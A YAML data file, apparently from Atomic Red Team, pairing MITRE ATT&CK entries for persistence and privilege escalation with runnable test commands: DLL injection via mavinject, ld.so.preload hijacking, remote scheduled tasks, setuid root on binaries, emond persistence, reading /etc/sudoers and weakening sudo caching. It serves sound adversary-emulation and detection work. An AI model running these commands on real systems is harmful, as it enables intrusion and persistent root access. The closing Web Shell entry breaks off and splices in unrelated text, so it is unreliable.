File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-25T11:58:11.559Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1150
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1150
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1150
atomic_tests:
- name: Plist Modification
description: 'Modify MacOS plist file in one of two directories
'
supported_platforms:
- macos
executor:
name: manual
steps: |
1. Modify a .plist in
/Library/Preferences
OR
~/Library/Preferences
2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
T1055:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
- root
x_mitre_data_sources:
- API monitoring
- Windows Registry
- File monitoring
- DLL monitoring
- Process monitoring
- Named Pipes
name: Process Injection
description: |-
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
### Windows
There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)
* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)
* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.
* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)
* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)
### Mac and Linux
Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)
* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)
* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)
* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
modified: '2019-07-18T17:27:02.580Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)
Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)
Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Anastasios Pingios
- Christiaan Beek, @ChristiaanBeek
- Ryan Becwar
created: '2017-05-31T21:30:47.843Z'
x_mitre_effective_permissions:
- User
- Administrator
- SYSTEM
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1055
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1055
- source_name: capec
external_id: CAPEC-640
url: https://capec.mitre.org/data/definitions/640.html
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Endgame HuntingNMemory June 2017
description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
7, 2017.
url: https://www.endgame.com/blog/technical-blog/hunting-memory
- source_name: Microsoft APC
description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
8, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
- source_name: CyberBit Early Bird Apr 2018
description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
Code Injection Technique Discovered. Retrieved May 24, 2018.
url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
- source_name: ENSIL AtomBombing Oct 2016
description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
- source_name: Microsoft Atom Table
description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
- source_name: FireEye TLS Nov 2017
description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
Retrieved December 18, 2017.
url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
- source_name: Datawire Code Injection
description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for
a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
December 20, 2017.'
url: https://www.datawire.io/code-injection-on-linux-and-macos/
- source_name: Uninformed Needle
description: skape. (2003, January 19). Linux x86 run-time process manipulation.
Retrieved December 20, 2017.
url: http://hick.org/code/skape/papers/needle.txt
- source_name: Phrack halfdead 1997
description: halflife. (1997, September 1). Shared Library Redirection Techniques.
Retrieved December 20, 2017.
url: http://phrack.org/issues/51/8.html
- source_name: VDSO hijack 2009
description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
GOT poisoning. Retrieved December 20, 2017.
url: http://vxer.org/lib/vrn00.html
- source_name: ArtOfMemoryForensics
description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
December 20, 2017.'
- source_name: GNU Acct
description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
December 20, 2017.
url: https://www.gnu.org/software/acct/
- source_name: RHEL auditd
description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
Chapter 7 - System Auditing. Retrieved December 20, 2017.
url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
- source_name: Chokepoint preload rootkits
description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
Retrieved December 20, 2017.
url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
- source_name: Microsoft Sysmon v6 May 2017
description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
December 13, 2017.
url: https://docs.microsoft.com/sysinternals/downloads/sysmon
- source_name: Powersploit
description: PowerSploit. (n.d.). Retrieved December 4, 2014.
url: https://github.com/mattifestation/PowerSploit
x_mitre_defense_bypassed:
- Process whitelisting
- Anti-virus
identifier: T1055
atomic_tests:
- name: Process Injection via mavinject.exe
description: 'Windows 10 Utility To Inject DLLS
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to Inject
type: Path
default: C:\AtomicRedTeam\atomics\T1055\src\x64\T1055.dll
process_id:
description: PID of input_arguments
type: Int
default: "$pid"
executor:
name: powershell
elevation_required: true
command: 'mavinject #{process_id} /INJECTRUNNING #{dll_payload}
'
- name: Process Injection via PowerSploit
description: 'PowerShell Injection using [PowerSploit Invoke-DLLInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1)
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to Inject
type: Path
default: T1055.dll
process_id:
description: PID of input_arguments
type: Int
default: "$pid"
executor:
name: powershell
elevation_required: true
command: 'Invoke-DllInjection.ps1 -ProcessID #{process_id} -Dll #{dll_payload}
'
- name: Shared Library Injection via /etc/ld.so.preload
description: 'This test adds a shared library to the `ld.so.preload` list to
execute and intercept API calls. This technique was used by threat actor Rocke
during the exploitation of Linux web servers. This requires the `glibc` package.
'
supported_platforms:
- linux
input_arguments:
path_to_shared_library:
description: Path to a shared library object
type: Path
default: "/tmp/evil_module.so"
executor:
name: bash
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
'
- name: Process Injection via C#
description: |
Process Injection using C#
reference: https://github.com/pwndizzle/c-sharp-memory-injection
Excercises Five Techniques
1. Process injection
2. ApcInjectionAnyProcess
3. ApcInjectionNewProcess
4. IatInjection
5. ThreadHijack
supported_platforms:
- windows
input_arguments:
exe_binary:
description: Output Binary
type: Path
default: T1055.exe
executor:
name: command_prompt
command: ".\\bin\\#{exe_binary}\n"
T1053:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
- User
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Windows event logs
name: Scheduled Task
description: |-
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
x_mitre_remote_support: true
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Prashant Verma, Paladion
- Leo Loobeek, @leoloobeek
- Travis Smith, Tripwire
- Alain Homewood, Insomnia Security
created: '2017-05-31T21:30:46.977Z'
x_mitre_effective_permissions:
- SYSTEM
- Administrator
- User
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1053
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1053
- source_name: capec
external_id: CAPEC-557
url: https://capec.mitre.org/data/definitions/557.html
- source_name: TechNet Task Scheduler Security
description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
June 8, 2016.
url: https://technet.microsoft.com/en-us/library/cc785125.aspx
- source_name: Twitter Leoloobeek Scheduled Task
description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
December 12, 2017.
url: https://twitter.com/leoloobeek/status/939248813465853953
- source_name: TechNet Forum Scheduled Task Operational Setting
description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
settings. Retrieved December 12, 2017.
url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
- source_name: TechNet Scheduled Task Events
description: Microsoft. (n.d.). General Task Registration. Retrieved December
12, 2017.
url: https://technet.microsoft.com/library/dd315590.aspx
- description: Microsoft. (2017, May 28). Audit Other Object Access Events.
Retrieved June 27, 2019.
source_name: Microsoft Scheduled Task Events Win10
url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
- description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
source_name: TechNet Autoruns
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-25T19:04:10.980Z'
identifier: T1053
atomic_tests:
- name: At.exe Scheduled task
description: |
Executes cmd.exe
Note: deprecated in Windows 8+
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'at 13:20 /interactive cmd
'
- name: Scheduled task Local
description: ''
supported_platforms:
- windows
input_arguments:
task_command:
description: What you want to execute
type: String
default: C:\windows\system32\cmd.exe
time:
description: What time 24 Hour
type: String
default: 72600
executor:
name: command_prompt
elevation_required: false
command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
'
- name: Scheduled task Remote
description: 'Create a task on a remote system
'
supported_platforms:
- windows
input_arguments:
task_command:
description: What you want to execute
type: String
default: C:\windows\system32\cmd.exe
time:
description: What time 24 Hour
type: String
default: 72600
target:
description: Target
type: String
default: localhost
user_name:
description: Username DOMAIN\User
type: String
default: DOMAIN\user
password:
description: Password
type: String
default: At0micStrong
executor:
name: command_prompt
command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
"Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
'
T1166:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Setuid and Setgid
description: |-
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].
An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor the file system for files that have the setuid or
setgid bits set. Monitor for execution of utilities, like chmod, and their
command-line arguments to look for setuid or setguid bits being set.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- Administrator
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1166
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1166
- source_name: setuid man page
description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
Retrieved September 21, 2018.
url: http://man7.org/linux/man-pages/man2/setuid.2.html
- source_name: OSX Keydnap malware
description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
is hungry for credentials. Retrieved July 3, 2017.
url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
modified: '2019-06-24T12:06:41.014Z'
identifier: T1166
atomic_tests:
- name: Setuid and Setgid
description: 'Setuid and Setgid
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
payload:
description: hello.c payload
type: path
default: hello.c
executor:
name: manual
steps: |
1. make hello
2. sudo chown root hello
3. sudo chmod u+s hello
4. ./hello
- name: Set a SetUID flag on file
description: 'This test sets the SetUID flag on a file in Linux and macOS.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
file_to_setuid:
description: Path of file to set SetUID flag
type: path
default: "/tmp/evilBinary"
executor:
name: sh
command: |
sudo chown root #{file_to_setuid}
sudo chmod u+s #{file_to_setuid}
- name: Set a SetGID flag on file
description: 'This test sets the SetGID flag on a file in Linux and macOS.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
file_to_setuid:
description: Path of file to set SetGID flag
type: path
default: "/tmp/evilBinary"
executor:
name: sh
command: |
sudo chown root #{file_to_setuid}
sudo chmod g+s #{file_to_setuid}
T1165:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- File monitoring
- Process monitoring
name: Startup Items
description: "Per Apple’s documentation, startup items execute during the final
phase of the boot process and contain shell scripts or other executable files
along with configuration information used by the system to determine the execution
order for all startup items (Citation: Startup Items). This is technically
a deprecated version (superseded by Launch Daemons), and thus the appropriate
folder, /Library/StartupItems isn’t guaranteed to exist on the
system by default, but does appear to exist by default on macOS Sierra. A
startup item is a directory whose executable and configuration property list
(plist), StartupParameters.plist, reside in the top-level directory.
\n\nAn adversary can create the appropriate folders/files in the StartupItems
directory to register their own persistence mechanism (Citation: Methods of
Mac Malware Persistence). Additionally, since StartupItems run during the
bootup phase of macOS, they will run as root. If an adversary is able to modify
an existing Startup Item, then they will be able to Privilege Escalate as
well."
id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: The /Library/StartupItems folder can be monitored
for changes. Similarly, the programs that are actually executed from this
mechanism should be checked against a whitelist. Monitor processes that are
executed during the bootup process to check for unusual or unknown applications
and behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1165
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1165
- source_name: Startup Items
description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
modified: '2019-07-18T17:58:17.016Z'
identifier: T1165
atomic_tests:
- name: Startup Items
description: |
Modify or create an file in StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
supported_platforms:
- macos
executor:
name: manual
steps: '1. /Library/StartupItems/StartupParameters.plist
'
- name: Startup Items (emond rule)
description: 'Establish persistence via a rule run by emond daemon at startup,
based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
'
supported_platforms:
- macos
input_arguments:
plist:
description: Path to emond plist file
type: path
default: "/path/to/T1165_emond.plist"
executor:
name: sh
command: |
sudo cp "#{plist}" /etc/emond.d/rules/T1165_emond.plist
sudo touch /private/var/db/emondClients/T1165
cleanup_command: |
sudo rm /etc/emond.d/rules/T1165_emond.plist
sudo rm /private/var/db/emondClients/T1165
T1169:
technique:
x_mitre_data_sources:
- File monitoring
x_mitre_permissions_required:
- User
name: Sudo
description: "The sudoers file, /etc/sudoers, describes which users
can run which commands and from which terminals. This also describes which
commands users can run as other users or groups. This provides the idea of
least privilege such that users are running in their lowest possible permissions
for most of the time and only elevate to other users or permissions as needed,
typically by prompting for a password. However, the sudoers file can also
specify when to not prompt users for passwords with a line like user1
ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries
can take advantage of these configurations to execute commands as other users
or spawn processes with higher privileges. You must have elevated privileges
to edit this file though."
id: attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
and effective ID are different (this is what happens when you sudo).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1169
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1169
- source_name: OSX.Dok Malware
description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
traffic. Retrieved July 10, 2017.
url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
modified: '2019-07-18T18:34:14.365Z'
identifier: T1169
atomic_tests:
- name: Sudo usage
description: 'Common Sudo enumeration methods.
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
sudo -l
sudo su
cat /etc/sudoers
vim /etc/sudoers
T1206:
technique:
x_mitre_data_sources:
- File monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Sudo Caching
description: "The sudo command \"allows a system administrator
to delegate authority to give certain users (or groups of users) the ability
to run some (or all) commands as root or another user while providing an audit
trail of the commands and their arguments.\" (Citation: sudo man page 2018)
Since sudo was made for the system administrator, it has some useful configuration
features such as a timestamp_timeout that is the amount of time
in minutes between instances of sudo before it will re-prompt
for a password. This is because sudo has the ability to cache
credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo
with a timestamp of when sudo was last run to determine this timeout. Additionally,
there is a tty_tickets variable that treats each new tty (terminal
session) in isolation. This means that, for example, the sudo timeout of one
tty will not affect another tty (you will have to type the password again).\n\nAdversaries
can abuse poor configurations of this to escalate privileges without needing
the user's password. /var/db/sudo's timestamp can be monitored
to see if it falls within the timestamp_timeout range. If it
does, then malware can execute sudo commands without needing to supply the
user's password. When tty_tickets is disabled, adversaries can
do this from any tty for that user. \n\nThe OSX Proton Malware has disabled
tty_tickets to potentially make scripting easier by issuing echo
\\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason
osx proton). In order for this change to be reflected, the Proton malware
also must issue killall Terminal. As of macOS Sierra, the sudoers
file has tty_tickets enabled by default."
id: attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: This technique is abusing normal functionality in macOS and
Linux systems, but sudo has the ability to log all input and output based
on the LOG_INPUT and LOG_OUTPUT directives in the
/etc/sudoers file.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2018-04-18T17:59:24.739Z'
x_mitre_effective_permissions:
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1206
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1206
- source_name: sudo man page 2018
description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
url: https://www.sudo.ws/
- source_name: cybereason osx proton
description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
Does. Retrieved March 19, 2018.
url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
modified: '2019-06-24T13:19:32.798Z'
identifier: T1206
atomic_tests:
- name: Unlimited sudo cache timeout
description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
This is dangerous to modify without using ''visudo'', do not do this on a
production system.
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
sudo visudo -c -f /etc/sudoers
- name: Disable tty_tickets for sudo caching
description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
to modify without using ''visudo'', do not do this on a production system.
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
sudo visudo -c -f /etc/sudoers
T1100:
technique:
x_mitre_data_sources:
- Anti-virus
- Authentication logs
- File monitoring
- Netflow/Enclave netflow
- Process monitoring
type: attack-pattern
name: Web Shell
description: |-
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.
id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Adversary access to Web server with vulnerability or account to upload and
serve the Web shell file.
x_mitre_detection: |-
Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
